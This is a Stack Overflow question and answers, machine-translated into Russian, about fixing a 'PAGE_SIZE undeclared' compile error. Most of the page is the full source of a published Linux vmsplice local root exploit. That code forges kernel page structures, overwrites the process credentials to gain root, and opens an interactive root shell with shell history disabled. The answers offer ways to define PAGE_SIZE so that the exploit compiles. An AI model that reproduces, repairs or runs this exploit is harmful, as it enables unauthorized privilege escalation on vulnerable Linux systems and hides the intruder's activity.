2016-06-18 3 views
1

У меня возникли проблемы с компиляцией/исправлением скрипта из-за того, что я не хорошо разбираюсь в языке C.PAGE_SIZE uneclared C

Я был бы признателен за помощь в решении проблем!

я получаю следующие ошибки:

error: ‘PAGE_SIZE’ undeclared (first use in this function) 
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 

Эта ошибка происходит потому, что PAGE_SIZE устанавливается в ассемблерной/page.h (насколько мне известно)

код является ниже и от https://www.exploit-db.com/exploits/5092/

#define _GNU_SOURCE 
    #include <stdio.h> 
    #include <errno.h> 
    #include <stdlib.h> 
    #include <string.h> 
    #include <malloc.h> 
    #include <limits.h> 
    #include <signal.h> 
    #include <unistd.h> 
    #include <sys/uio.h> 
    #include <sys/mman.h> 
// #include <asm/page.h> 
// ^^ this was originally causing me issues, due to the fact this is compiled 
//within the kernel 
    #define __KERNEL__ 
    #include <asm/page.h> //moving it here fixed location error, but now I get the new issue 
    #include <asm/unistd.h> 

    #define PIPE_BUFFERS 16 
    #define PG_compound 14 
    #define uint  unsigned int 
    #define static_inline static inline __attribute__((always_inline)) 
    #define STACK(x) (x + sizeof(x) - 40) 

    struct page { 
     unsigned long flags; 
     int count; 
     int mapcount; 
     unsigned long private; 
     void *mapping; 
     unsigned long index; 
     struct { long next, prev; } lru; 
    }; 

    void exit_code(); 
    char exit_stack[1024 * 1024]; 

    void die(char *msg, int err) 
    { 
     printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); 
     fflush(stdout); 
     fflush(stderr); 
     exit(1); 
    } 

    #if defined (__i386__) 

    #ifndef __NR_vmsplice 
    #define __NR_vmsplice 316 
    #endif 

    #define USER_CS  0x73 
    #define USER_SS  0x7b 
    #define USER_FL  0x246 

    static_inline 
    void exit_kernel() 
    { 
     __asm__ __volatile__ (
     "movl %0, 0x10(%%esp) ;" 
     "movl %1, 0x0c(%%esp) ;" 
     "movl %2, 0x08(%%esp) ;" 
     "movl %3, 0x04(%%esp) ;" 
     "movl %4, 0x00(%%esp) ;" 
     "iret" 
     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 
      "i" (USER_CS), "r" (exit_code) 
     ); 
    } 

    static_inline 
    void * get_current() 
    { 
     unsigned long curr; 
     __asm__ __volatile__ (
     "movl %%esp, %%eax ;" 
     "andl %1, %%eax ;" 
     "movl (%%eax), %0" 
     : "=r" (curr) 
     : "i" (~8191) 
     ); 
     return (void *) curr; 
    } 

    #elif defined (__x86_64__) 

    #ifndef __NR_vmsplice 
    #define __NR_vmsplice 278 
    #endif 

    #define USER_CS  0x23 
    #define USER_SS  0x2b 
    #define USER_FL  0x246 

    static_inline 
    void exit_kernel() 
    { 
     __asm__ __volatile__ (
     "swapgs ;" 
     "movq %0, 0x20(%%rsp) ;" 
     "movq %1, 0x18(%%rsp) ;" 
     "movq %2, 0x10(%%rsp) ;" 
     "movq %3, 0x08(%%rsp) ;" 
     "movq %4, 0x00(%%rsp) ;" 
     "iretq" 
     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 
      "i" (USER_CS), "r" (exit_code) 
     ); 
    } 

    static_inline 
    void * get_current() 
    { 
     unsigned long curr; 
     __asm__ __volatile__ (
     "movq %%gs:(0), %0" 
     : "=r" (curr) 
     ); 
     return (void *) curr; 
    } 

    #else 
    #error "unsupported arch" 
    #endif 

    #if defined (_syscall4) 
    #define __NR__vmsplice __NR_vmsplice 
    _syscall4(
     long, _vmsplice, 
     int, fd, 
     struct iovec *, iov, 
     unsigned long, nr_segs, 
     unsigned int, flags) 

    #else 
    #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) 
    #endif 

    static uint uid, gid; 

    void kernel_code() 
    { 
     int i; 
     uint *p = get_current(); 

     for (i = 0; i < 1024-13; i++) { 
      if (p[0] == uid && p[1] == uid && 
       p[2] == uid && p[3] == uid && 
       p[4] == gid && p[5] == gid && 
       p[6] == gid && p[7] == gid) { 
       p[0] = p[1] = p[2] = p[3] = 0; 
       p[4] = p[5] = p[6] = p[7] = 0; 
       p = (uint *) ((char *)(p + 8) + sizeof(void *)); 
       p[0] = p[1] = p[2] = ~0; 
       break; 
      } 
      p++; 
     } 

     exit_kernel(); 
    } 

    void exit_code() 
    { 
     if (getuid() != 0) 
      die("wtf", 0); 

     printf("[+] root\n"); 
     putenv("HISTFILE=/dev/null"); 
     execl("/bin/bash", "bash", "-i", NULL); 
     die("/bin/bash", errno); 
    } 

    int main(int argc, char *argv[]) 
    { 
     int  pi[2]; 
     size_t  map_size; 
     char *  map_addr; 
     struct iovec iov; 
     struct page * pages[5]; 

     uid = getuid(); 
     gid = getgid(); 
     setresuid(uid, uid, uid); 
     setresgid(gid, gid, gid); 

     printf("-----------------------------------\n"); 
     printf(" Linux vmsplice Local Root Exploit\n"); 
     printf(" By qaaz\n"); 
     printf("-----------------------------------\n"); 

     if (!uid || !gid) 
      die("[email protected]#$", 0); 

     /*****/ 
     pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; 
     pages[1] = pages[0] + 1; 

     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[0]); 
     printf("[+] page: 0x%lx\n", pages[1]); 

     pages[0]->flags = 1 << PG_compound; 
     pages[0]->private = (unsigned long) pages[0]; 
     pages[0]->count = 1; 
     pages[1]->lru.next = (long) kernel_code; 

     /*****/ 
     pages[2] = *(void **) pages[0]; 
     pages[3] = pages[2] + 1; 

     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[2]); 
     printf("[+] page: 0x%lx\n", pages[3]); 

     pages[2]->flags = 1 << PG_compound; 
     pages[2]->private = (unsigned long) pages[2]; 
     pages[2]->count = 1; 
     pages[3]->lru.next = (long) kernel_code; 

     /*****/ 
     pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; 
     map_size = PAGE_SIZE; 
     map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, 
         MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 
     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 
     printf("[+] page: 0x%lx\n", pages[4]); 

     /*****/ 
     map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; 
     map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, 
         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
     if (map_addr == MAP_FAILED) 
      die("mmap", errno); 

     memset(map_addr, 0, map_size); 
     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); 

     /*****/ 
     map_size -= 2 * PAGE_SIZE; 
     if (munmap(map_addr + map_size, PAGE_SIZE) < 0) 
      die("munmap", errno); 

     /*****/ 
     if (pipe(pi) < 0) die("pipe", errno); 
     close(pi[0]); 

     iov.iov_base = map_addr; 
     iov.iov_len = ULONG_MAX; 

     signal(SIGPIPE, exit_code); 
     _vmsplice(pi[1], &iov, 1, 0); 
     die("vmsplice", errno); 
     return 0; 
    } 

    // milw0rm.com [2008-02-09] 
+0

На языке C вам необходимо объявить переменную перед ее использованием, если она не является предопределенной переменной. PAGE_SIZE не является предопределенной переменной. –

+0

@ Ахиллес-96 хорошо, вы можете видеть, что ошибка ответила ниже, но я полагал, что я был установлен из-за asm/page.h – TheHidden

ответ

5

PAGE_SIZE только объявлены в к заголовки ячеек. Вы можете получить текущий размер страницы из пользовательского поля, используя getpagesize() от unistd.h, хотя, например.

#include <unistd.h> 
int main() { 
    size_t psize = getpagesize(); 
} 
+2

['getpagesize()'] (http://man7.org/linux/ man-pages/man2/getpagesize.2.html) устарел и не указан в POSIX.1. В частности, если вы пишете переносимый код с помощью '#define _POSIX_C_SOURCE 200108L' (или позже),' getpagesize() 'не будет объявлен в заголовках glibc. Правильный вызов: ['sysconf (_SC_PAGESIZE)'] (http://man7.org/linux/man-pages/man3/sysconf.3.html), который стандартизован в POSIX.1 и, следовательно, доступен во всех POSIXy системы. [Ответ Эд] (http://stackoverflow.com/a/37897870/1475978) является правильным; это просто популярный, работающий для меня-я-не-забота о других. –

5

Использование компиляции постоянная времени для размера страницы вашей системы, как правило, не умное, что нужно сделать, так как это не обязательно постоянно. Например, на последних процессорах x86 ваша операционная система может выбирать между использованием 4 KiB, 2 MiB и даже 1 GiB-страниц (или даже объединить их в одном и том же адресном пространстве). По этой причине POSIX не стандартизировал константу PAGE_SIZE. Поэтому

Многие системы обеспечивают getpagesize() функцию, но имейте в виду, что POSIX стандартизированный способ получения размер страницы с помощью sysconf() функции:

#include <stdio.h> 
#include <unistd.h> 
int main() { 
    printf("%lu\n", sysconf(_SC_PAGESIZE)); 
} 

На моем Mac, эта программа печатает номер 4096 .

+0

это хорошая информация, вы научили меня нескольким вещам, которые я буду помнить! – TheHidden

2

Хейло. У меня была схожая проблема с компиляцией превосходного инструмента memfetch от настоящих техников и соотечественников Михаила Залевского. В любом случае, после того, как вы заболели, столкнувшись с проблемой и обысками, которые не привели к ответам (например, этот пост, например), я решил свою проблему.

Я взял это прямо из файла ASM/page.h:

/* PAGE_SHIFT determines the page size */ 

    #define PAGE_SHIFT  12 
    #ifdef __ASSEMBLY__ 
    #define PAGE_SIZE  (1 << PAGE_SHIFT) 
    #else 
    #define PAGE_SIZE  (1UL << PAGE_SHIFT) 
    #endif 
    #define PAGE_MASK  (~(PAGE_SIZE-1)) 

И я бросил его в файл C, которую необходимо компиляции. В этом случае memfetch.c Я сбросил его сразу после включений с помощью собственного набора DEFINE. Работал как шарм и программа - картограф памяти, кажется, отлично работает. Я только что сделал это - пока не могу сказать, что, например, страницы или значения mem отключены или что-то еще.

Примечание. Идите, возьмите свой собственный asm/page.h. На самом деле я думаю, что они были в asm-generic/page.h Dunno, если они отличаются; безусловно, находятся на x86_64.

Удачи вам!

1

Для меня

#include <sys/user.h> 

делает трюк. Файл является частью glibc-заголовков.

Смежные вопросы